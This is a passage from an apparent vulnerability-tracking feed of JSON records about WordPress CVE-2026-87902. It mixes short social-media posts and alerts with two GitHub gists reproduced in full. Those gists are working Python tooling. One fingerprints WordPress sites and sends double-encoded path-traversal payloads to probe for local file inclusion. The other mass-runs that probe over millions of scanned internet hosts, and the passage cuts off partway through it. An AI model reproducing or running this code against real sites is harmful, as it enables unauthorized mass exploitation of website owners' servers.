\u0430\u043d\u0430\u043b\u0438\u0437\u043e\u043c \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435.\n\n\ud83d\udfe3\u041a\u0430\u043d\u0430\u0434\u0441\u043a\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 GPUThor, \u043d\u043e\u0432\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a \u043d\u0430 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u0441\u043a\u043e\u0440\u0438\u0442\u0435\u043b\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0438\u0432\u043d\u0435\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0432 \u0442\u044b\u0441\u044f\u0447\u0438 \u0440\u0430\u0437. \u0414\u0435\u0442\u0430\u043b\u0438 \u2014 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435. \n\n\ud83d\udfe3\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0438\u0437\u0443\u0447\u0438\u043b\u0438\u00bb \u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d\u043d\u044b\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Hacking Cat (\u0438\u043b\u0438 \u00ab\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0439 \u043ai\u0442\u00bb): \u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a-\u043f\u043e\u043b\u0438\u0433\u043b\u043e\u0442. \u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \n\n\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0438\u0437 \u043c\u0438\u0440\u0430 B2B:\n\ud83d\udfe3\u0414\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u043c \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u043c \u0430\u0442\u0430\u043a\u0438 ClickFix.\n\ud83d\udfe3\u041e\u0442 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043a \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438: \u0430\u0437\u0431\u0443\u043a\u0430 IoC pivoting.\n\n\u0418 \u0435\u0449\u0451 \u043a\u043e\u0435-\u0447\u0442\u043e:\n\ud83d\udfe3\u0414\u0435\u043b\u0438\u043c\u0441\u044f \u0433\u043b\u0430\u0432\u043d\u044b\u043c\u0438 \u0446\u0438\u0444\u0440\u0430\u043c\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043d\u0430 \u041c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u043c \u0444\u0435\u0441\u0442\u0438\u0432\u0430\u043b\u0435 \u043c\u043e\u043b\u043e\u0434\u0451\u0436\u0438 \u2014 2026. \n\ud83d\udfe3\u0412\u044b\u0441\u0442\u0443\u043f\u0438\u043b\u0438 \u043f\u0430\u0440\u0442\u043d\u0451\u0440\u043e\u043c \u043a\u043e\u043c\u043f\u0435\u0442\u0435\u043d\u0446\u0438\u0438 \u00ab\u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0445 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u00bb \u043d\u0430 \u0427\u0435\u043c\u043f\u0438\u043e\u043d\u0430\u0442\u0435 \u0432\u044b\u0441\u043e\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439.\n\n#KD_\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442", "url": "https://t.me/kasperskylab_ru/7757"}, {"timestamp": "2026-09-27T17:59:16.525Z", "date_only": false, "value": "2026-09-27T17:59:16.525699Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/tailtame.bsky.social/post/3mwjeujre6c2y", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "658e573c-394d-4e13-a6e6-9d2090798753", "content": "#\u500b\u4eba\u30b5\u30a4\u30c8\u30e1\u30e2 \u30cd\u30c3\u30c8\u30aa\u30a6\u30eb\u306e\u30e1\u30eb\u30de\u30ac\u3067\u6765\u3066\u305f\u3084\u3064\u3002\u30cd\u30bf\u306b\u3059\u308b\u307e\u30674\u65e5\u3082\u7d4c\u3063\u305f\uff01\nWP\u306e\u30bb\u30ad\u30e5\u6398\u308a\u306f\u7121\u9650\u306b\u6765\u308b\u306e\u3067\u3046\u3056\u3044\u306e\u3060\u3088\u306d\u2026\uff08\u6dfb\u4ed8\u753b\u50cf\u4e00\u4f8b\u3002analog\uff08\u30a2\u30af\u30bb\u30b9\u306e\u751f\u30ed\u30b0\uff09\u3002\u306a\u3093\u3067\u5168\u90e866\u306a\u3093\u3060\u3088\u30b9\u30af\u30b7\u30e7\uff09\n7\u6708\u306b\u3082\u6765\u3066\u305f\u3051\u3069\u30e1\u30fc\u30eb\u304f\u308b\u306e\u306f\u30e4\u30d0\u3044\u3093\u3060\u308d\u3046\u306a\u3041\u3068\u3044\u3046\u304b\u3002WP\u306e\u304a\u304b\u3052\u3067\u898b\u308c\u3066\u308b\u30b5\u30a4\u30c8\u3082\u3042\u308b\u306e\u3067\u30a7\u2026\u3068\u601d\u3044\u3064\u3064\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u7d76\u8a31\u306a\u306e\u3060\n\uff1a \u3010\u91cd\u8981\u3011WordPress\u306e\u8106\u5f31\u6027\uff08CVE-2026-87902\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77\u306b\u3064\u3044\u3066 - 2026/09/24 | \u65b0\u4e16\u4ee3\u30ec\u30f3\u30bf\u30eb\u30b5\u30fc\u30d0\u30fc\u3010\u30b7\u30f3\u30ec\u30f3\u30bf\u30eb\u30b5\u30fc\u30d0\u30fc\u3011\nwww.shin-server.jp/news/detail.... .", "url": "https://bsky.app/profile/tailtame.bsky.social/post/3mwjeujre6c2y"}, {"timestamp": "2026-09-27T18:00:16.180Z", "date_only": false, "value": "2026-09-27T18:00:16.180704Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwjewfya762f", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "7730522b-ac45-4229-b97f-81ebed7c44e9", "content": "BREAKING: WordPress CVE-2026-87902 (CVSS 9.2) actively exploited within hours of disclosure \u2014 unauthenticated RCE via get_page_template(). Source: The Hacker News. #CyberSecurity", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mwjewfya762f"}, {"timestamp": "2026-09-27T19:49:53Z", "date_only": false, "value": "2026-09-27T19:49:53.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/giaoimgiao/0ce4da973efbc4b1827a46d2821bc1ea", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "fae65e45-20e2-423c-b928-426c9e7ed735", "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCVE-2026-87902 fingerprint + LFI probe.\n\nLayered detector for the WordPress Core page-template path traversal.\nTheory of operation (see wp87902_lib for details):\n\n  Stage 0 (recon)      the anonymous REST API yields the version and a\n                       published page that still uses the default template.\n  Stage 1 (fingerprint)  the theme must expose a top-level `page-*` directory,\n                       because WordPress prepends the fixed `page-` prefix and\n                       a traversal can therefore never start at offset 0.\n  Stage 2 (LFI probe)  a double-encoded `pagename` in a POST body survives the\n                       early sanitizers; get_page_template() urldecodes it much\n                       later and hands the result to locate_template(), which\n                       only checks existence and the .php suffix.\n\"\"\"\n\nimport argparse\nimport concurrent.futures as futures\nimport http.client\nimport json\nimport re\nimport ssl\nimport sys\nimport threading\nfrom urllib.parse import urlsplit\n\nUA = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\"\n\n# Themes documented by the advisory as shipping a top-level `page-*` directory,\n# plus the legacy bundled themes. Used only for REPORTING confidence, never for\n# deciding to skip a target.\nKNOWN_THEMES = (\"twentytwelve\", \"twentyfourteen\", \"neve\", \"hestia\", \"sydney\")\n\n# A file every WordPress ships below the theme root, used as the LFI oracle.\n# It exists and is readable anywhere WordPress is, so a change in behaviour is\n# attributable to the traversal rather than to a missing file.\nORACLE_FILE = \"index.php\"\n\n\ndef get_scheme_host(base):\n    parts = urlsplit(base)\n    return parts.scheme, parts.hostname, parts.port\n\n\ndef request(method, base, path, body=None, timeout=12.0, insecure=True, extra=None):\n    \"\"\"Single raw request. Returns (status, headers_dict, body_text).\"\"\"\n    scheme, host, port = get_scheme_host(base)\n    try:\n        if scheme == \"https\":\n            ctx = ssl._create_unverified_context() if insecure else ssl.create_default_context()\n            conn = http.client.HTTPSConnection(host, port or 443, timeout=timeout, context=ctx)\n        else:\n            conn = http.client.HTTPConnection(host, port or 80, timeout=timeout)\n        headers = {\n            \"User-Agent\": UA,\n            \"Accept\": \"*/*\",\n            \"Connection\": \"close\",\n        }\n        if body is not None:\n            headers[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n        if extra:\n            headers.update(extra)\n        conn.request(method, path, body=body, headers=headers)\n        resp = conn.getresponse()\n        raw = resp.read()\n        text = raw.decode(\"utf-8\", \"replace\")\n        return resp.status, dict(resp.getheaders()), text\n    except Exception as exc:\n        return 0, {}, \"ERR:%s\" % exc\n    finally:\n        try:\n            conn.close()\n        except Exception:\n            pass\n\n\ndef double_encode(path):\n    \"\"\"'%2f'-style octets, escaped once more so PHP's body decode leaves them.\"\"\"\n    once = path.replace(\"/\", \"%2F\").replace(\".\", \"%2E\")\n    return once.replace(\"%\", \"%25\")\n\n\ndef candidate(theme_dir, depth, target):\n    prefix = theme_dir[len(\"page-\"):] if theme_dir.startswith(\"page-\") else theme_dir\n    return prefix + \"/\" + \"../\" * depth + target.lstrip(\"/\")\n\n\ndef detect_theme(base, timeout, insecure):\n    \"\"\"Best-effort active theme name from generator meta / REST / asset URLs.\"\"\"\n    status, _, body = request(\"GET\", base, \"/\", timeout=timeout, insecure=insecure)\n    if not body:\n        return None, None, None\n    names = set()\n    for m in re.finditer(r\"/wp-content/themes/([A-Za-z0-9_\\-]+)/\", body):\n        names.add(m.group(1).lower())\n    gen = None\n    m = re.search(r']+name=\"generator\"[^>]+content=\"WordPress ([0-9.]+)\"', body)\n    if m:\n        gen = m.group(1)\n    theme = None\n    for n in names:\n        if n not in (\"twentytwentythree\", \"twentytwentyfour\", \"twentytwentyfive\") or not theme:\n            theme = n\n    return theme, gen, names\n\n\ndef find_page(base, timeout, insecure):\n    routes = (\n        \"/index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template\",\n        \"/wp-json/wp/v2/pages?per_page=100&_fields=id,slug,template\",\n    )\n    for route in routes:\n        status, _, body = request(\"GET\", base, route, timeout=timeout, insecure=insecure)\n        if status != 200:\n            continue\n        try:\n            pages = json.loads(body)\n        except ValueError:\n            continue\n        if not isinstance(pages, list) or not pages:\n            continue\n        for page in pages:\n            if not page.get(\"template\"):\n                return page.get(\"id\"), page.get(\"slug\", \"\"), route, len(pages)\n        return pages[0].get(\"id\"), pages[0].get(\"slug\", \"\"), route, len(pages)\n    return None, None, None, 0\n\n\ndef version_in_range(version):\n    \"\"\"True when the target version is inside 4.7.0 .. 7.1.1.\"\"\"\n    if not version:\n        return None\n    try:\n        parts = [int(x) for x in version.split(\".\")]\n    except ValueError:\n        return None\n    while len(parts) < 3:\n        parts.append(0)\n    major, minor, patch = parts[0], parts[1], parts[2]\n    lo = (major, minor, patch) >= (4, 7, 0)\n    hi = (major, minor, patch) <= (7, 1, 1)\n    return lo and hi\n\n\ndef probe_lfi(base, page_id, theme_dir, timeout, insecure, depth_list, oracle):\n    \"\"\"Try to make include of `oracle` observable.\n\n    A readable inclusion changes the response body: index.php evaluated outside\n    its usual context typically emits a PHP warning/notice or produces output\n    that differs from the pristine render. We compare against a baseline render\n    captured first, so differences are attributed to the inclusion.\n    \"\"\"\n    baseline_body = \"page_id=%d\" % page_id\n    b_status, _, b_text = request(\"POST\", base, \"/\", body=baseline_body,\n                                  timeout=timeout, insecure=insecure)\n    evidence = []\n    for depth in depth_list:\n        cand = candidate(theme_dir, depth, oracle)\n        body = \"page_id=%d&pagename=%s\" % (page_id, double_encode(cand))\n        s2, _, t2 = request(\"POST\", base, \"/\", body=body, timeout=timeout, insecure=insecure)\n        # signals that attacker-controlled input reached the template loader\n        signals = []\n        if s2 == 0:\n            continue\n        if s2 != b_status:\n            signals.append(\"status_%d!=%d\" % (s2, b_status))\n        low = t2.lower()\n        for marker in (\"failed opening\", \"include(\", \"no such file\", \"warning\", \"fatal error\",\n                       \"unexpected\", \"parse error\", \"cannot redeclare\", \"undefined\"):\n            if marker in low and marker not in b_text.lower():\n                signals.append(\"diff:\" + marker)\n                break\n        if len(t2) < 200 and b_status == 200 and abs(len(t2) - len(b_text)) > 50:\n            signals.append(\"short_body\")\n        if signals:\n            evidence.append({\"depth\": depth, \"candidate\": \"page-\" + cand + \".php\",\n                             \"signals\": signals, \"status\": s2})\n            break\n    return b_status, len(b_text), evidence\n\n\ndef version_tuple(v):\n    try:\n        parts = [int(x) for x in v.split(\".\")]\n    except Exception:\n        return (0,)\n    while len(parts) < 3:\n        parts.append(0)\n    return tuple(parts)\n\n\ndef is_vulnerable_version(v):\n    t = version_tuple(v)\n    return (4, 7, 0) <= t <= (7, 1, 1)\n\n\ndef check(target, verify=False, timeout=12.0, insecure=True):\n    out = {\"target\": target, \"wp\": False, \"version\": None, \"vuln_version\": None,\n           \"theme\": None, \"themes\": [], \"themedir\": None, \"page_id\": None,\n           \"page_count\": 0, \"lfi\": None, \"verdict\": \"NONE\", \"note\": \"\"}\n    base = target if target.startswith(\"http\") else \"http://\" + target\n    base = base.rstrip(\"/\")\n\n    probe_paths = (\"/wp-login.php\", \"/wp-admin/\", \"/readme.html\", \"/xmlrpc.php\", \"/wp-json/\")\n    # confirm WordPress quickly\n    for p in probe_paths:\n        s, h, b = request(\"GET\", base, p, timeout=timeout, insecure=insecure)\n        if s == 0:\n            out[\"verdict\"] = \"DOWN\"\n            out[\"note\"] = \"no-connection\"\n            return out\n        if p == \"/readme.html\" and s == 200 and (\"WordPress\" in b):\n            out[\"wp\"] = True\n            break\n        if s in (200, 401, 403, 405):\n            out[\"wp\"] = True\n            if p == \"/wp-json/\":\n                break\n\n    # version via multiple sources (mirrors today's multi-source approach)\n    ver = None\n    s, _, b = request(\"GET\", base, \"/\", timeout=timeout, insecure=insecure)\n    if b:\n        m = re.search(r'content=\"WordPress ([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)\"', b)\n        if m:\n            ver = m.group(1)\n    if not ver:\n        s, _, b = request(\"GET\", base, \"/readme.html\", timeout=timeout, insecure=insecure)\n        if b:\n            m = re.search(r'v(?:ersion)?\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)', b)\n            if m:\n                ver = m.group(1)\n    if not ver:\n        s, _, b = request(\"GET\", base, \"/wp-json/\", timeout=timeout, insecure=insecure)\n        if b:\n            try:\n                j = json.loads(b)\n                # root wp-json may carry namespaces only; try and tolerate absence\n            except ValueError:\n                pass\n    if not ver:\n        # feed generator tag\n        s, _, b = request(\"GET\", base, \"/feed/\", timeout=timeout, insecure=insecure)\n        if b:\n            m = re.search(r\"https://wordpress\\.org/\\?v=([0-9.]+)\", b)\n            if m:\n                ver = m.group(1)\n    out[\"version\"] = ver\n    out[\"vuln_version\"] = is_vulnerable_version(ver) if ver else None\n\n    theme, gen, names = detect_theme(base, timeout, insecure)\n    out[\"theme\"] = theme\n    out[\"themes\"] = sorted(names) if names else []\n    if gen and not out[\"version\"]:\n        out[\"version\"] = gen\n        out[\"vuln_version\"] = is_vulnerable_version(gen)\n\n    page_id, slug, route, count = find_page(base, timeout, insecure)\n    out[\"page_id\"] = page_id\n    out[\"page_count\"] = count\n\n    # decide verdict\n    if out[\"vuln_version\"] is True and theme and page_id:\n        if theme in KNOWN_THEMES:\n            out[\"verdict\"] = \"VULN_HIGH\"\n            out[\"themedir\"] = \"page-templates\"\n        else:\n            out[\"verdict\"] = \"VULN_MAYBE\"   # version+page ok; page-* presence unproven\n    elif out[\"vuln_version\"] is True:\n        out[\"verdict\"] = \"VER_ONLY\"\n    elif out[\"version\"]:\n        out[\"verdict\"] = \"PATCHED_OR_NA\"\n    else:\n        out[\"verdict\"] = \"UNKNOWN_VER\"\n\n    if verify and page_id and theme:\n        # Use `page-*` prefix requirement: try both 'templates' and 'page-templates'\n        theme_dirs = [\"page-templates\"]\n        if theme:\n            theme_dirs.insert(0, \"page-\" + theme if not theme.startswith(\"page-\") else theme)\n        depths = [7, 6, 8, 5, 9, 4, 10, 3, 11, 2, 12, 1]\n        best = None\n        for td in theme_dirs:\n            b_status, b_len, ev = probe_lfi(base, page_id, td, timeout, insecure, depths, ORACLE_FILE)\n            if ev:\n                best = {\"themedir\": td, \"evidence\": ev, \"baseline_status\": b_status,\n                        \"baseline_len\": b_len}\n                break\n        out[\"lfi\"] = best\n        if best:\n            out[\"verdict\"] = \"LFI_EVIDENCE\"\n        elif out[\"verdict\"] in (\"VULN_HIGH\", \"VULN_MAYBE\"):\n            out[\"verdict\"] = \"DNS_NOT_REACHABLE\" if b_status == 0 else out[\"verdict\"]\n    return out\n\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"CVE-2026-87902 detector\")\n    ap.add_argument(\"targets\", nargs=\"*\", help=\"URLs or host:port\")\n    ap.add_argument(\"-f\", \"--file\", help=\"file with one target per line\")\n    ap.add_argument(\"--verify\", action=\"store_true\", help=\"run the LFI probe (active)\")\n    ap.add_argument(\"-w\", \"--workers\", type=int, default=40)\n    ap.add_argument(\"-t\", \"--timeout\", type=float, default=12.0)\n    ap.add_argument(\"-o\", \"--out\", default=None)\n    ap.add_argument(\"--json\", action=\"store_true\")\n    args = ap.parse_args()\n\n    targets = list(args.targets)\n    if args.file:\n        with open(args.file) as fh:\n            targets += [l.strip() for l in fh if l.strip() and not l.startswith(\"#\")]\n    if not targets:\n        ap.print_usage()\n        return 2\n\n    lock = threading.Lock()\n    results = []\n    fh = open(args.out, \"w\") if args.out else None\n\n    def work(t):\n        r = check(t, verify=args.verify, timeout=args.timeout)\n        with lock:\n            results.append(r)\n            if fh:\n                fh.write(json.dumps(r) + \"\\n\")\n                fh.flush()\n            if args.json:\n                print(json.dumps(r))\n            else:\n                v = r[\"verdict\"]\n                extra = []\n                if r[\"version\"]:\n                    extra.append(\"v\" + r[\"version\"])\n                if r[\"theme\"]:\n                    extra.append(r[\"theme\"])\n                if r[\"page_id\"]:\n                    extra.append(\"page=%s\" % r[\"page_id\"])\n                if r[\"lfi\"]:\n                    extra.append(\"LFI:%s\" % r[\"lfi\"][\"themedir\"])\n                print(\"[%-16s] %-40s %s\" % (v, t, \" \".join(extra)))\n        return r\n\n    with futures.ThreadPoolExecutor(max_workers=args.workers) as ex:\n        list(ex.map(work, targets))\n\n    if fh:\n        fh.close()\n\n    tally = {}\n    for r in results:\n        tally[r[\"verdict\"]] = tally.get(r[\"verdict\"], 0) + 1\n    print(\"\\n== TALLY ==\")\n    for k, v in sorted(tally.items(), key=lambda kv: -kv[1]):\n        print(\"%-20s %d\" % (k, v))\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n", "url": "https://gist.github.com/giaoimgiao/0ce4da973efbc4b1827a46d2821bc1ea"}, {"timestamp": "2026-09-27T21:00:04Z", "date_only": false, "value": "2026-09-27T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/3c9srXY8de1OJkBnfqEEqOhTsR2WGThzUoLs-q4hUEIXmM0", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "77414c87-77e3-4d6d-9e46-a225c37eab34"}, {"timestamp": "2026-09-27T21:00:04Z", "date_only": false, "value": "2026-09-27T21:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/3c9srXY8de1OJkBnfqEEqOhTsR2WGThzUoLs-q4hUEIXmM0", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "76847648-1802-435d-9643-92e8794243cf"}, {"timestamp": "2026-09-27T21:00:08Z", "date_only": false, "value": "2026-09-27T21:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103580", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "ccd19848-c1bc-4722-af6b-dc5807dc1a50", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902-exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Maalfer\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-27 20:52:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit para explotar la vulnerabilidad CVE-2026-87902 que se acontece en el core de WordPress\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103580"}, {"timestamp": "2026-09-27T23:00:16Z", "date_only": false, "value": "2026-09-27T23:00:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/8MEljeuzrAecwW2JZuMlZ_8lhVdmg06Hvcm7mYkrERJsk-Q", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "552a02a1-050c-40a3-a30f-c4accda52b02"}, {"timestamp": "2026-09-27T23:00:16Z", "date_only": false, "value": "2026-09-27T23:00:16.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/8MEljeuzrAecwW2JZuMlZ_8lhVdmg06Hvcm7mYkrERJsk-Q", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "dc80049f-e1e2-4db3-a3a1-38903b196583"}, {"timestamp": "2026-09-28T00:00:00Z", "date_only": true, "value": "2026-09-28", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2026-87902", "field": "evidence.0.details.due_date", "uuid": "ddae727a-8beb-478a-b139-8a820f12a93d", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-28T03:00:06Z", "date_only": false, "value": "2026-09-28T03:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/OlS7mOCYJDdHF5bGuQyV5ccTCVSJsR8ZTmdToM9KjFzseyE", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "7f398c66-b2cc-4252-880c-4d492b36c3d9"}, {"timestamp": "2026-09-28T03:00:06Z", "date_only": false, "value": "2026-09-28T03:00:06.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/OlS7mOCYJDdHF5bGuQyV5ccTCVSJsR8ZTmdToM9KjFzseyE", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "e33ac09f-e549-4bec-90e6-fba92cf08076"}, {"timestamp": "2026-09-28T03:23:59.671Z", "date_only": false, "value": "2026-09-28T03:23:59.671535Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mwkeggkoqw2n", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "1029de24-cdf7-47fc-8751-7622e4b72388", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30921\u4ef6\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 #CISA \uff08Sep 25\uff09\n\nCVE-2026-87902 WordPress\u30b3\u30a2\u306e\u30ea\u30e2\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30b8\u30e7\u30f3\u306e\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "url": "https://bsky.app/profile/kitafox.bsky.social/post/3mwkeggkoqw2n"}, {"timestamp": "2026-09-28T03:25:33.173Z", "date_only": false, "value": "2026-09-28T03:25:33.173847Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mwkej7budv2z", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "d193c1a4-d26b-44b6-802c-b7c650a1d8c3", "content": "CVE-2026-87902: Critical Vulnerability in WordPress\uff08WordPress\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027CVE-2026-87902\u3001\u5b9f\u653b\u6483\u3067\u60aa\u7528\uff09 #Kaspersky \uff08Sep 25\uff09\n\nwww.kaspersky.com/blog/cve-202...", "url": "https://bsky.app/profile/kitafox.bsky.social/post/3mwkej7budv2z"}, {"timestamp": "2026-09-28T07:32:35.953Z", "date_only": false, "value": "2026-09-28T07:32:35.953024Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mwkscxnldv24", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "0e4eee17-4128-4117-adff-71d36655d97f", "content": "Top 3 CVE for last 7 days:\nCVE-2026-88771: 53 interactions\nCVE-2026-88772: 48 interactions\nCVE-2026-87902: 39 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-88771: 53 interactions\nCVE-2026-88772: 48 interactions\nCVE-2026-87902: 14 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mwkscxnldv24"}, {"timestamp": "2026-09-28T07:59:52Z", "date_only": false, "value": "2026-09-28T07:59:52.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/giaoimgiao/1d0ed1adba5b9ca37dc4f48ba7fb5276", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "0743b31b-dbdf-4c9c-b7c4-6d173e2d83fe", "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"Rolling CVE-2026-87902 hunter over a masscan host list.\n\nDesign constraints learned the hard way:\n  * 8.8 million hosts cannot be probed naively. WordPress is a small fraction\n    of open 80/443, so stage 1 is a cheap fingerprint and stage 2 only runs\n    against hosts that actually look like WordPress.\n  * Resume is mandatory: a multi-hour job will be interrupted. Tested hosts\n    and hits are appended, never rewritten.\n  * Output is line-delimited JSON so a later report can be rebuilt from disk\n    without re-probing.\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport sys\nimport time\n\nimport wp87902\n\n\ndef load_done(path):\n    done = set()\n    if not os.path.exists(path):\n        return done\n    with open(path, \"r\", errors=\"replace\") as fh:\n        for line in fh:\n            line = line.strip()\n            if line:\n                done.add(line.split()[0])\n    return done\n\n\ndef interesting(result):\n    \"\"\"Keep only verdicts worth a human look.\"\"\"\n    return result.get(\"verdict\") in (\n        \"VULN_HIGH\", \"VULN_MAYBE\", \"VER_ONLY\", \"LFI_EVIDENCE\", \"WAF_BLOCKED\",\n    )\n\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--hosts\", default=\"/root/wp_hosts.txt\")\n    ap.add_argument(\"--tested\", default=\"/root/wp_tested.txt\")\n    ap.add_argument(\"--hits\", default=\"/root/wp_hits.jsonl\")\n    ap.add_argument(\"-w\", \"--workers\", type=int, default=80)\n    ap.add_argument(\"-t\", \"--timeout\", type=float, default=6.0)\n    ap.add_argument(\"--batch\", type=int, default=2000)\n    ap.add_argument(\"--verify\", action=\"store_true\",\n                    help=\"active LFI probe on version-range hosts only\")\n    ap.add_argument(\"--max\", type=int, default=0, help=\"stop after N new hosts (0=all)\")\n    args = ap.parse_args()\n\n    done 